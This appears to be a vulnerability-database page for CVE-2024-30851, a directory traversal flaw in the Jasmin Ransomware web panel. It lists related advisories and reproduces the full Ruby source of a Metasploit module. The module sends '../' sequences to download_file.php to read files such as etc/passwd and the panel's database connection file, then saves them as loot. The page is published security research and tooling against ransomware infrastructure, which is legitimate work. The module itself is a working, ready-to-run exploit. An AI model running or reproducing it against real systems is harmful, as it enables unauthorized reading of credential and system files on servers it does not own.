| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Exploit for CVE-2024-30851 | 4 Apr 202422:59 | – | githubexploit | |
| CVE-2024-30851 | 8 Apr 202415:48 | – | circl | |
| Jasmin The Ransomware 安全漏洞 | 3 May 202400:00 | – | cnnvd | |
| CVE-2024-30851 | 3 May 202400:00 | – | cve | |
| CVE-2024-30851 | 3 May 202400:00 | – | cvelist | |
| Jasmin Ransomware Web Server Unauthenticated Directory Traversal | 27 May 202419:54 | – | metasploit | |
| Jasmin Ransomware Web Server Unauthenticated SQL Injection | 27 May 202419:54 | – | metasploit | |
| CVE-2024-30851 | 3 May 202417:15 | – | nvd | |
| CVE-2024-30851 | 3 May 202417:15 | – | osv | |
| Jasmin Ransomware 1.1 Arbitrary File Read | 5 Apr 202400:00 | – | packetstorm |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Jasmin Ransomware Web Server Unauthenticated Directory Traversal',
'Description' => %q{
The Jasmin Ransomware web server contains an unauthenticated directory traversal vulnerability
within the download functionality. As of April 15, 2024 this was still unpatched, so all
versions are vulnerable. The last patch was in 2021, so it will likely not ever be patched.
},
'References' => [
['CVE', '2024-30851'],
['URL', 'https://github.com/chebuya/CVE-2024-30851-jasmin-ransomware-path-traversal-poc'],
['URL', 'https://github.com/codesiddhant/Jasmin-Ransomware']
],
'Author' => [
'chebuya', # discovery, PoC
'h00die', # metasploit module
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2023-04-08',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The relative URI of the Jasmin Ransomware webserver', '/']),
OptInt.new('DEPTH', [true, 'Depth of directory traversal to root ', 9]),
OptString.new('FILE', [true, 'File to retrieve', 'etc/passwd'])
# /var/www/html/database/db_conection.php another good file to pull
]
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path)
)
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
return Exploit::CheckCode::Detected('Jasmin Login page detected') if res.body.include? '<title>Jasmin Dashboard</title>'
Exploit::CheckCode::Safe("#{peer} - Jasmin login page not found")
end
def run
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'download_file.php'),
'vars_get' => {
'file' => "#{'../' * datastore['DEPTH']}#{datastore['FILE']}"
}
)
fail_with(Failure::Unknown, 'No response from server') if res.nil?
fail_with(Failure::NotFound, 'Check FILE or DEPTH, file not found on server') if res.body.empty?
fail_with(Failure::UnexpectedReply, "Server returned an unexpected HTTP code: #{res.code}") unless res.code == 302
print_good(res.body)
# store loot
path = store_loot(
'jasmin.webpanel.dir.traversal',
'text/plain',
datastore['rhost'],
res.body,
File.basename(datastore['FILE'])
)
print_good('Saved file to: ' + path)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation